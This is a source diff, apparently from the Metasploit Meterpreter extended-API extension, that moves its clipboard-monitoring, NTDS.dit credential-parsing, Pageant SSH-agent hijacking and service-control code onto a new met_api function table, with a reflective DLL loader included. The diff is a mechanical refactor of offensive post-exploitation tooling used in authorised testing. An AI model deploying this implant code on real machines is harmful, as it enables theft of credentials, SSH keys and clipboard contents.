||||
if (pResponse)
|
||||
{
|
||||
dprintf("[EXTAPI CLIPBOARD] sending response");
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -993,7 +994,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
BREAK_ON_ERROR("[EXTAPI CLIPBOARD] Clipboard failed to initialise, unable to get data");
|
||||
}
|
||||
|
||||
if ((lpClipString = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
|
||||
if ((lpClipString = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)) == NULL)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] No string data specified", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
@ -1047,7 +1048,7 @@ DWORD request_clipboard_set_data(Remote *remote, Packet *packet)
|
||||
pGlobalFree(hClipboardData);
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1082,7 +1083,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
// signal to the caller that our thread has started
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread started");
|
||||
pState->bRunning = TRUE;
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
|
||||
waitableHandles[0] = thread->sigterm->handle;
|
||||
waitableHandles[1] = pState->hPauseEvent->handle;
|
||||
@ -1106,13 +1107,13 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread paused");
|
||||
pState->bRunning = FALSE;
|
||||
// indicate that we've paused
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
break;
|
||||
case 2: // resume the thread
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread resumed");
|
||||
pState->bRunning = TRUE;
|
||||
// indicate that we've resumed
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
break;
|
||||
default:
|
||||
// timeout, so pump messages
|
||||
@ -1129,7 +1130,7 @@ DWORD THREADCALL clipboard_monitor_thread_func(THREAD * thread)
|
||||
// and we're done, switch off, and tell the caller we're done
|
||||
pState->bRunning = FALSE;
|
||||
destroy_clipboard_monitor_window(pState);
|
||||
event_signal(pState->hResponseEvent);
|
||||
met_api->event.signal(pState->hResponseEvent);
|
||||
dprintf("[EXTAPI CLIPBOARD] Thread stopped");
|
||||
|
||||
} while (0);
|
||||
@ -1149,19 +1150,19 @@ VOID destroy_clipboard_monitor_state(ClipboardState** ppState)
|
||||
ClipboardState* pState = *ppState;
|
||||
if (pState->hThread != NULL)
|
||||
{
|
||||
thread_destroy(pState->hThread);
|
||||
met_api->thread.destroy(pState->hThread);
|
||||
}
|
||||
if (pState->hPauseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hPauseEvent);
|
||||
met_api->event.destroy(pState->hPauseEvent);
|
||||
}
|
||||
if (pState->hResumeEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResumeEvent);
|
||||
met_api->event.destroy(pState->hResumeEvent);
|
||||
}
|
||||
if (pState->hResponseEvent != NULL)
|
||||
{
|
||||
event_destroy(pState->hResponseEvent);
|
||||
met_api->event.destroy(pState->hResponseEvent);
|
||||
}
|
||||
destroy_clipboard_monitor_capture(&pState->captureList, TRUE);
|
||||
|
||||
@ -1206,7 +1207,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI CLIPBOARD] pState %p", pState);
|
||||
memset(pState, 0, sizeof(ClipboardState));
|
||||
|
||||
lpClassName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
|
||||
lpClassName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS);
|
||||
if (lpClassName == NULL || strlen(lpClassName) == 0)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Window class name is missing", ERROR_INVALID_PARAMETER);
|
||||
@ -1215,12 +1216,12 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
strncpy_s(pState->cbWindowClass, sizeof(pState->cbWindowClass), lpClassName, sizeof(pState->cbWindowClass) - 1);
|
||||
dprintf("[EXTAPI CLIPBOARD] Class Name set to %s", pState->cbWindowClass);
|
||||
|
||||
pState->bCaptureImageData = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
pState->bCaptureImageData = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
|
||||
pState->hPauseEvent = event_create();
|
||||
pState->hResumeEvent = event_create();
|
||||
pState->hResponseEvent = event_create();
|
||||
pState->captureList.pClipboardCaptureLock = lock_create();
|
||||
pState->hPauseEvent = met_api->event.create();
|
||||
pState->hResumeEvent = met_api->event.create();
|
||||
pState->hResponseEvent = met_api->event.create();
|
||||
pState->captureList.pClipboardCaptureLock = met_api->lock.create();
|
||||
|
||||
if (pState->hPauseEvent == NULL
|
||||
|| pState->hResumeEvent == NULL
|
||||
@ -1229,7 +1230,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Unable to allocate memory for clipboard events", ERROR_NOT_ENOUGH_MEMORY);
|
||||
}
|
||||
|
||||
pState->hThread = thread_create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
|
||||
pState->hThread = met_api->thread.create((THREADFUNK)clipboard_monitor_thread_func, pState, NULL, NULL);
|
||||
|
||||
if (pState->hThread == NULL)
|
||||
{
|
||||
@ -1237,10 +1238,10 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
gClipboardState = pState;
|
||||
thread_run(pState->hThread);
|
||||
met_api->thread.run(pState->hThread);
|
||||
|
||||
// 4 seconds should be long enough for the thread to indicate it's started, if not, bomb out
|
||||
if (!event_poll(pState->hResponseEvent, 4000))
|
||||
if (!met_api->event.poll(pState->hResponseEvent, 4000))
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Thread failed to start correctly", ERROR_ABANDONED_WAIT_0);
|
||||
}
|
||||
@ -1262,7 +1263,7 @@ DWORD request_clipboard_monitor_start(Remote *remote, Packet *packet)
|
||||
gClipboardState = NULL;
|
||||
}
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1276,8 +1277,8 @@ DWORD clipboard_monitor_pause(ClipboardState* pState)
|
||||
{
|
||||
if (pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hPauseEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
met_api->event.signal(pState->hPauseEvent);
|
||||
met_api->event.poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -1292,8 +1293,8 @@ DWORD clipboard_monitor_resume(ClipboardState* pState)
|
||||
{
|
||||
if (!pState->bRunning)
|
||||
{
|
||||
event_signal(pState->hResumeEvent);
|
||||
event_poll(pState->hResponseEvent, INFINITE);
|
||||
met_api->event.signal(pState->hResumeEvent);
|
||||
met_api->event.poll(pState->hResponseEvent, INFINITE);
|
||||
}
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
@ -1321,7 +1322,7 @@ DWORD request_clipboard_monitor_pause(Remote *remote, Packet *packet)
|
||||
dwResult = clipboard_monitor_pause(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1348,7 +1349,7 @@ DWORD request_clipboard_monitor_resume(Remote *remote, Packet *packet)
|
||||
dwResult = clipboard_monitor_resume(gClipboardState);
|
||||
} while (0);
|
||||
|
||||
packet_transmit_empty_response(remote, packet, dwResult);
|
||||
met_api->packet.transmit_empty_response(remote, packet, dwResult);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1364,7 +1365,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bDump = TRUE;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1374,18 +1375,18 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Stopping clipboard monitor");
|
||||
bDump = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
|
||||
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bDump = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_DUMP);
|
||||
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
|
||||
// now stop the show
|
||||
event_signal(gClipboardState->hThread->sigterm);
|
||||
met_api->event.signal(gClipboardState->hThread->sigterm);
|
||||
|
||||
// if they don't terminate in a reasonable period of time...
|
||||
if (!event_poll(gClipboardState->hResponseEvent, 10000))
|
||||
if (!met_api->event.poll(gClipboardState->hResponseEvent, 10000))
|
||||
{
|
||||
// ... FINISH HIM!
|
||||
dprintf("[EXTAPI CLIPBOARD] Brutally terminating the thread for not responding fast enough");
|
||||
thread_kill(gClipboardState->hThread);
|
||||
met_api->thread.kill(gClipboardState->hThread);
|
||||
}
|
||||
|
||||
if (bDump)
|
||||
@ -1397,7 +1398,7 @@ DWORD request_clipboard_monitor_stop(Remote *remote, Packet *packet)
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1413,7 +1414,7 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
BOOL bPurge = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1421,8 +1422,8 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
|
||||
}
|
||||
bIncludeImages = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bPurge = packet_get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
|
||||
bIncludeImages = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA);
|
||||
bPurge = met_api->packet.get_tlv_value_bool(packet, TLV_TYPE_EXT_CLIPBOARD_MON_PURGE);
|
||||
|
||||
dprintf("[EXTAPI CLIPBOARD] Purging? %s", bPurge ? "TRUE" : "FALSE");
|
||||
|
||||
@ -1430,15 +1431,15 @@ DWORD request_clipboard_monitor_dump(Remote *remote, Packet *packet)
|
||||
|
||||
if (bPurge)
|
||||
{
|
||||
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
|
||||
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
}
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
@ -1454,7 +1455,7 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
BOOL bIncludeImages = TRUE;
|
||||
BOOL bPurge = TRUE;
|
||||
Packet *pResponse = packet_create_response(packet);
|
||||
Packet *pResponse = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -1463,14 +1464,14 @@ DWORD request_clipboard_monitor_purge(Remote *remote, Packet *packet)
|
||||
BREAK_WITH_ERROR("[EXTAPI CLIPBOARD] Monitor thread isn't running", ERROR_NOT_CAPABLE);
|
||||
}
|
||||
|
||||
lock_acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.acquire(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
destroy_clipboard_monitor_capture(&gClipboardState->captureList, FALSE);
|
||||
lock_release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
met_api->lock.release(gClipboardState->captureList.pClipboardCaptureLock);
|
||||
|
||||
dwResult = ERROR_SUCCESS;
|
||||
} while (0);
|
||||
|
||||
packet_transmit_response(dwResult, remote, pResponse);
|
||||
met_api->packet.transmit_response(dwResult, remote, pResponse);
|
||||
|
||||
return dwResult;
|
||||
}
|
||||
|
@ -2,12 +2,13 @@
|
||||
* @file extapi.h
|
||||
* @brief Entry point and intialisation definitions for the extended API extension.
|
||||
*/
|
||||
#include "../../common/common.h"
|
||||
#include "common.h"
|
||||
|
||||
#include "common_metapi.h"
|
||||
|
||||
// Required so that use of the API works.
|
||||
MetApi* met_api = NULL;
|
||||
|
||||
#include "../../DelayLoadMetSrv/DelayLoadMetSrv.h"
|
||||
// include the Reflectiveloader() function, we end up linking back to the metsrv.dll's Init function
|
||||
// but this doesnt matter as we wont ever call DLL_METASPLOIT_ATTACH as that is only used by the
|
||||
// second stage reflective dll inject payload and not the metsrv itself when it loads extensions.
|
||||
#include "../../ReflectiveDLLInjection/dll/src/ReflectiveLoader.c"
|
||||
|
||||
#include "window.h"
|
||||
@ -18,9 +19,6 @@
|
||||
#include "ntds.h"
|
||||
#include "pageantjacker.h"
|
||||
|
||||
// this sets the delay load hook function, see DelayLoadMetSrv.h
|
||||
EnableDelayLoadMetSrv();
|
||||
|
||||
/*! @brief List of commands that the extended API extension providers. */
|
||||
Command customCommands[] =
|
||||
{
|
||||
@ -45,14 +43,15 @@ Command customCommands[] =
|
||||
|
||||
/*!
|
||||
* @brief Initialize the server extension.
|
||||
* @param api Pointer to the Meterpreter API structure.
|
||||
* @param remote Pointer to the remote instance.
|
||||
* @return Indication of success or failure.
|
||||
*/
|
||||
DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
DWORD __declspec(dllexport) InitServerExtension(MetApi* api, Remote* remote)
|
||||
{
|
||||
hMetSrv = remote->met_srv;
|
||||
met_api = api;
|
||||
|
||||
command_register_all(customCommands);
|
||||
met_api->command.register_all(customCommands);
|
||||
|
||||
initialise_clipboard();
|
||||
initialise_service();
|
||||
@ -67,7 +66,7 @@ DWORD __declspec(dllexport) InitServerExtension(Remote *remote)
|
||||
*/
|
||||
DWORD __declspec(dllexport) DeinitServerExtension(Remote *remote)
|
||||
{
|
||||
command_deregister_all(customCommands);
|
||||
met_api->command.deregister_all(customCommands);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief NTDS channel interface
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
@ -28,10 +29,10 @@ typedef struct
|
||||
// The user interacts with the NTDS database through that channel from that point on.
|
||||
DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD res = ERROR_SUCCESS;
|
||||
struct jetState *ntdsState = calloc(1,sizeof(struct jetState));
|
||||
PCHAR filePath = packet_get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
PCHAR filePath = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_NTDS_PATH);
|
||||
// Check if the File exists
|
||||
if (0xffffffff == GetFileAttributes(filePath)) {
|
||||
res = 2;
|
||||
@ -149,7 +150,7 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
chops.native.context = ctx;
|
||||
chops.native.close = ntds_channel_close;
|
||||
chops.read = ntds_channel_read;
|
||||
if (!(newChannel = channel_create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
|
||||
if (!(newChannel = met_api->channel.create_pool(0, CHANNEL_FLAG_SYNCHRONOUS | CHANNEL_FLAG_COMPRESS, &chops)))
|
||||
{
|
||||
res = ERROR_NOT_ENOUGH_MEMORY;
|
||||
free(accountColumns);
|
||||
@ -159,11 +160,11 @@ DWORD ntds_parse(Remote *remote, Packet *packet)
|
||||
goto out;
|
||||
}
|
||||
|
||||
channel_set_type(newChannel, "ntds");
|
||||
packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channel_get_id(newChannel));
|
||||
met_api->channel.set_type(newChannel, "ntds");
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, met_api->channel.get_id(newChannel));
|
||||
|
||||
out:
|
||||
packet_transmit_response(res, remote, response);
|
||||
met_api->packet.transmit_response(res, remote, response);
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Definitions for NTDS Jet Engine functions
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#define JET_VERSION 0x0501
|
||||
|
||||
@ -246,7 +247,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountNameStr = wchar_to_utf8(accountName);
|
||||
char *accountNameStr = met_api->string.wchar_to_utf8(accountName);
|
||||
if (accountNameStr) {
|
||||
strncpy_s(userAccount->accountName, ACCOUNT_NAME_SIZE, accountNameStr, ACCOUNT_NAME_SIZE - 1);
|
||||
free(accountNameStr);
|
||||
@ -262,7 +263,7 @@ JET_ERR read_user(struct jetState *ntdsState, struct ntdsColumns *accountColumns
|
||||
return readStatus;
|
||||
}
|
||||
|
||||
char *accountDescriptionStr = wchar_to_utf8(accountDescription);
|
||||
char *accountDescriptionStr = met_api->string.wchar_to_utf8(accountDescription);
|
||||
if (accountDescriptionStr) {
|
||||
strncpy_s(userAccount->accountDescription, ACCOUNT_DESC_SIZE, accountDescriptionStr, ACCOUNT_DESC_SIZE - 1);
|
||||
free(accountDescriptionStr);
|
||||
|
@ -3,6 +3,7 @@
|
||||
* @brief Entry point and intialisation functionality for the pageantjacker extention.
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "common_metapi.h"
|
||||
#include "pageantjacker.h"
|
||||
|
||||
#include <stdio.h>
|
||||
@ -173,14 +174,14 @@ out:
|
||||
|
||||
DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
{
|
||||
Packet *response = packet_create_response(packet);
|
||||
Packet *response = met_api->packet.create_response(packet);
|
||||
DWORD rawDataSizeIn = 0;
|
||||
Byte *rawDataIn = NULL;
|
||||
byte *rawDataIn = NULL;
|
||||
PAGEANTQUERYRESULTS results = { 0 };
|
||||
|
||||
// Retrieve from metasploit
|
||||
rawDataSizeIn = packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
|
||||
rawDataIn = packet_get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
|
||||
rawDataSizeIn = met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_PAGEANT_SIZE_IN);
|
||||
rawDataIn = met_api->packet.get_tlv_value_raw(packet, TLV_TYPE_EXT_PAGEANT_BLOB_IN);
|
||||
|
||||
dprintf("[PJ(request_pageant_send_query)] Size in: %d. Data is at 0x%p", rawDataSizeIn, rawDataIn);
|
||||
|
||||
@ -194,9 +195,9 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
send_query_to_pageant(rawDataIn, rawDataSizeIn, (PAGEANTQUERYRESULTS *) &results);
|
||||
|
||||
// Build the packet based on the respones from the Pageant interaction.
|
||||
packet_add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
|
||||
packet_add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
|
||||
packet_add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
|
||||
met_api->packet.add_tlv_bool(response, TLV_TYPE_EXT_PAGEANT_STATUS, results.result);
|
||||
met_api->packet.add_tlv_raw(response, TLV_TYPE_EXT_PAGEANT_RETURNEDBLOB, results.blob, results.bloblength);
|
||||
met_api->packet.add_tlv_uint(response, TLV_TYPE_EXT_PAGEANT_ERRORMESSAGE, results.errorMessage);
|
||||
dprintf("[PJ(request_pageant_send_query)] Success: %d. Return data len "
|
||||
"%d, data is at 0x%p. Error message at 0x%p (%d)",
|
||||
results.result, results.bloblength, results.blob,
|
||||
@ -205,7 +206,7 @@ DWORD request_pageant_send_query(Remote *remote, Packet *packet)
|
||||
free(results.blob);
|
||||
|
||||
// Transmit the packet to metasploit
|
||||
packet_transmit_response(ERROR_SUCCESS, remote, response);
|
||||
met_api->packet.transmit_response(ERROR_SUCCESS, remote, response);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
|
@ -4,6 +4,7 @@
|
||||
*/
|
||||
#include "extapi.h"
|
||||
#include "service.h"
|
||||
#include "common_metapi.h"
|
||||
|
||||
#include <Sddl.h>
|
||||
|
||||
@ -189,7 +190,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
LPSTR lpServiceName = NULL;
|
||||
ServiceOperation eServiceOp = 0;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -200,13 +201,13 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
|
||||
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_CTRL_NAME);
|
||||
if (!lpServiceName)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
|
||||
}
|
||||
|
||||
eServiceOp = (ServiceOperation)packet_get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
|
||||
eServiceOp = (ServiceOperation)met_api->packet.get_tlv_value_uint(packet, TLV_TYPE_EXT_SERVICE_CTRL_OP);
|
||||
if (eServiceOp == 0)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service operation parameter", ERROR_INVALID_PARAMETER);
|
||||
@ -220,7 +221,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -235,7 +236,7 @@ DWORD request_service_control(Remote *remote, Packet *packet)
|
||||
DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
{
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -254,7 +255,7 @@ DWORD request_service_enum(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -274,7 +275,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
{
|
||||
LPSTR lpServiceName = NULL;
|
||||
DWORD dwResult = ERROR_SUCCESS;
|
||||
Packet * response = packet_create_response(packet);
|
||||
Packet * response = met_api->packet.create_response(packet);
|
||||
|
||||
do
|
||||
{
|
||||
@ -285,7 +286,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
break;
|
||||
}
|
||||
|
||||
lpServiceName = packet_get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
|
||||
lpServiceName = met_api->packet.get_tlv_value_string(packet, TLV_TYPE_EXT_SERVICE_ENUM_NAME);
|
||||
if (!lpServiceName)
|
||||
{
|
||||
BREAK_WITH_ERROR("[EXTAPI SERVICE] Missing service name parameter", ERROR_INVALID_PARAMETER);
|
||||
@ -299,7 +300,7 @@ DWORD request_service_query(Remote *remote, Packet *packet)
|
||||
dprintf("[EXTAPI SERVICE] Transmitting response back to caller.");
|
||||
if (response)
|
||||
{
|
||||
packet_transmit_response(dwResult, remote, response);
|
||||
met_api->packet.transmit_response(dwResult, remote, response);
|
||||
}
|
||||
|
||||
return dwResult;
|
||||
@ -605,15 +606,15 @@ DWORD execute_service_task(LPCSTR cpServiceName, ServiceOperation eServiceOp, Pa
|
||||
*/
|
||||
VOID add_enumerated_service(Packet *pResponse, LPCSTR cpName, LPCSTR cpDisplayName, DWORD dwProcessId, DWORD dwStatus, BOOL bInteractive)
|
||||
{
|
||||
Packet* pGroup = packet_create_group();
|
||||
Packet* pGroup = met_api->packet.create_group();
|
||||
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
|
||||
packet_add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
|
||||
packet_add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
|
||||
packet_add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_NAME, cpName);
|
||||
met_api->packet.add_tlv_string(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_DISPLAYNAME, cpDisplayName);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_PID, dwProcessId);
|
||||
met_api->packet.add_tlv_uint(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_STATUS, dwStatus);
|
||||
met_api->packet.add_tlv_bool(pGroup, TLV_TYPE_EXT_SERVICE_ENUM_INTERACTIVE, bInteractive);
|
||||
|
||||
packet_add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
|
||||
met_api->packet.add_group(pResponse, TLV_TYPE_EXT_SERVICE_ENUM_GROUP, pGroup);
|
||||
}
|
||||
|
||||
/*!
|
||||
@ -658,12 +659,12 @@ DWORD get_service_config(SC_HANDLE scService, Packet *pResponse)
|
||||
}
|
||||
|
||||
dprintf("[EXTAPI SERVICE] Start type: %u", lpServiceConfig->dwStartType);
|
||||
packet_add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTNAME, lpServiceConfig->lpServiceStartName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_PATH, lpServiceConfig->lpBinaryPathName);
|
||||
packet_add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_LOADORDERGROUP, lpServiceConfig->lpLoadOrderGroup ? lpServiceConfig->lpLoadOrderGroup : "");
|
||||
packet_add_tlv_bool(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_INTERACTIVE, lpServiceConfig->dwServiceType & SERVICE_INTERACTIVE_PROCESS);
|
||||
met_api->packet.add_tlv_uint(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_STARTTYPE, lpServiceConfig->dwStartType);
|
||||
met_api->packet.add_tlv_string(pResponse, TLV_TYPE_EXT_SERVICE_QUERY_DISPLAYNAME, lpServiceConfig->lpDisplayName);
|
||||
